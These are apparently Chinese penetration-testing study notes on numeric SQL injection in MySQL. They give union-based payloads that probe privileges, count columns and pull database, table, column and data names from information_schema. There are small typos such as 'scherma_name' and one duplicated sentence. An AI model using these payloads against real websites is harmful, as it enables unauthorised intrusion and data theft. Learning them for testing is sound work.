天天看点

渗透学习笔记之基于数字型的SQL注入注入流程:

基于数字型的SQL注入

  • 注入流程:
    • 1.判断SQL注入
    • 2.判断是否为root权限
    • 3.判断数据库的字段数
    • 4.查库名
    • 5.查表名
    • 6.查字段
    • 7.查数据
    • 参考文献

注入流程:

1.判断SQL注入

(1) 在提交的URL后加上单引号’,

(2) and和or大法:and表示且,必须二者皆成立。or相反。

(3) 加法和减法:这目的是区分数字型和字符型的注入。

2.判断是否为root权限

(1) 目的是判断是否有root权限:and ord(mid(user(),1,1)) = 114 #114表示的是ascll的r,意即root权限。

(2) and (select count(*) from mysql.user)>0 判断是否有读写权限,当返回正确页面时表示有读写权限,反之没有。

3.判断数据库的字段数

(1) 常用两种猜解方法:

联合查询 and 1=1 union select 1,2,3,4,5 或者union select null,null,null

order by查询:order by1,2,3,4当正确时即有多少字段order by查询:order by1,2,3,4当正确时即有多少字段。

(2) 在该查询中,一般情况下程序会调用数据库查询的第一条语句进行查询然后返回。而通过联合查询时,要想查看第二条数据,则可以让第一条查询语句始终为假,这里可以用到and 1=2。反之,则为and 1=1。

(3) limit语句。该语句在mysql中是用来分页的,通过该语句可以让我们得到我们想要的数据。

4.查库名

(1) 首先查看数据库的版本:and ord(mid(version(),1,1))>51 #51指的是ascll的3

(2) 确定版本号之后联合查询:union select 1,database(),3 limit 1,1 或者union select null,scherma_name,null from information_schema.schemata 想获取第一个库名则在后面加上limit 0,1 若发现没有显示,则在第一条语句上加上:and 1=2,让第一条语句始终为假,即可查看第一个库名,依次类推可得到第二个库名,第三个库名,等等。。。

5.查表名

(1)一般而言,表名存放在数据库information_schema下的tables表中的table_name字段中,查表名主要用到的就是tables表。

(2)使用group_concat():例如在URL后加上union select null,group_concat(table_name),null from information_schema.tables where table_schema = ‘库名一’ 。或者在URL后面加上union select null,table_name,null from information_schema.tables where table_schema = ‘库名一’(这种方法比较好记忆)。

6.查字段

(1)在mysql中,字段名一般存放在information_schema数据库下的column_name字段中。

(2)查询方法:union select null,group_concat(column_name),null from information_schema.columns where table_schema = ‘库名一’ and table_name=‘表名’。或者union select null,column_name,null from information_schema.columns where table_schema = ‘库名一’ and table_name=‘表名’

7.查数据

得到库名,表名,字段名后想要获取数据的值就方便了。

(1)在URL后加上union select null,group_concat(字段名),null from 表名。或者union select 字段名 from 表名

参考文献

https://www.bugbank.cn/q/article/5983ea82cbb936102d3977bb.html

继续阅读